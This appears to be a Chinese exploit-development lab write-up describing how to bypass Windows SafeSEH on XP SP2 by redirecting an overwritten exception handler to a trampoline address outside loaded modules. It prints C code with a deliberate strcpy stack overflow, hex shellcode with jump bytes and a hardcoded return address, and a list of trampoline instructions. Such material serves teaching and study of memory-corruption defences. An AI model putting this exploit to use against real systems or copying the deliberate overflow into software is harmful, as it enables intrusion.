8.3 利用加载模块之外的地址绕过SafeSEH

目录

一、实验环境

二、实验代码

三、实验步骤


一、实验环境

        操作系统:Windows XP sp2

        软件版本:VS2008(release)、原版OD(实时调试)

二、实验代码

#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
;

DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	strcpy(str,input);	
    int zero=0;
	__try
	{
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	__asm int 3
	test(shellcode);
	return 0;
}

         实验思路及代码简要解释如下:

        (1)Test函数中存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖程序的S.E.H信息;

        (2)从下图可知,该程序中所有加载模块都启用了SafeSEH机制,故我们不能通过未启用SafeSEH的模块来绕过SafeSEH;

         (3)将异常处理函数指针覆盖为加载模块外的地址来实现SafeSEH的绕过,然后通过除零触发异常将程序转入异常处理,进而劫持程序流程。

三、实验步骤

        当程序加载到内存中后,在它所占的整个内存空间中,除了我们常见的PE文件模块(EXE和DLL)外,还有其他一些映射文件,我们可以通过OD中的“view->memory”查看程序的内存映射状态。如下图:

        图中,类型为map的映射文件,SafeSEH是无视它们的,当异常处理函数指向这些地址范围内时,是不对其进行有效性验证的,所以如果我们可以在这些文件中找到跳转指令的话就可以绕过SafeSEH,并且这样的指令时存在的。

        跳板指令除了之前用到的“pop pop retn”指令序列外,还有以下指令:

call/jmpdword ptr[esp+0x8]
call/jmpdword ptr[esp+0x14]
call/jmpdword ptr[esp+0x1c]
call/jmpdword ptr[esp+0x2c]
call/jmpdword ptr[esp+0x44]
call/jmpdword ptr[esp+0x50]
call/jmp dword ptr[ebp+0xc]
call/jmp dword ptr[ebp+0x24]
call/jmp dword ptr[ebp+0x30]
call/jmp dword ptr[ebp-0x4]
call/jmp dword ptr[ebp-0xc]
call/jmp dword ptr[ebp-0x18]

        首先,用0x90填充shellcode,长度不超过200字节,然后编译允许程序。因为所有加载模块都使用了SafeSEH,所以我们只能在加载模块内存范围之外的地方寻找合适的跳板绕过SafeSEH了,只要找到前面提到的指令中的任意一条就可以了。

        使用OllyFindAddr进行指令搜索,这里我们使用call/jmp dword ptr[ebp+n]指令来作为跳板。

        搜索结束后,在日志窗口查看搜索结果,选择加载模块之外的跳板指令:

         从图中可以看出0x00280B0B这个地址不属于加载模块之内,所以该地址可以作为我们的跳板地址。

        如果我们使用0x00280B0B这个地址作为我们的跳板地址,那么shellcode的关键部分将不能布置在跳板地址之后,因为0x00会截断shellcode的关键部分(如果是Unicode的漏洞就不用考虑这一问题,因为Unicode的结束符为0x0000)。

        当程序执行到call/jmp dword ptr[ebp+30]这儿,下一步会跳转到SEH链处。因为当前异常处理函数不能处理异常,就会去找下一个异常处理函数,所以程序会找到SEH链处。

        在SEH链所在的地方布置两个跳转,跳到shellcode开始位置。

  • 通过一个二字节的断跳指令0xEBF6会跳8字节;
  • 在这八字节中再布置一条5字节的长跳转指令完成最终回跳。

         确定长跳位置:也就是shellcode的起始地址。

 

        shellcode构造:

         运行结果:
 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值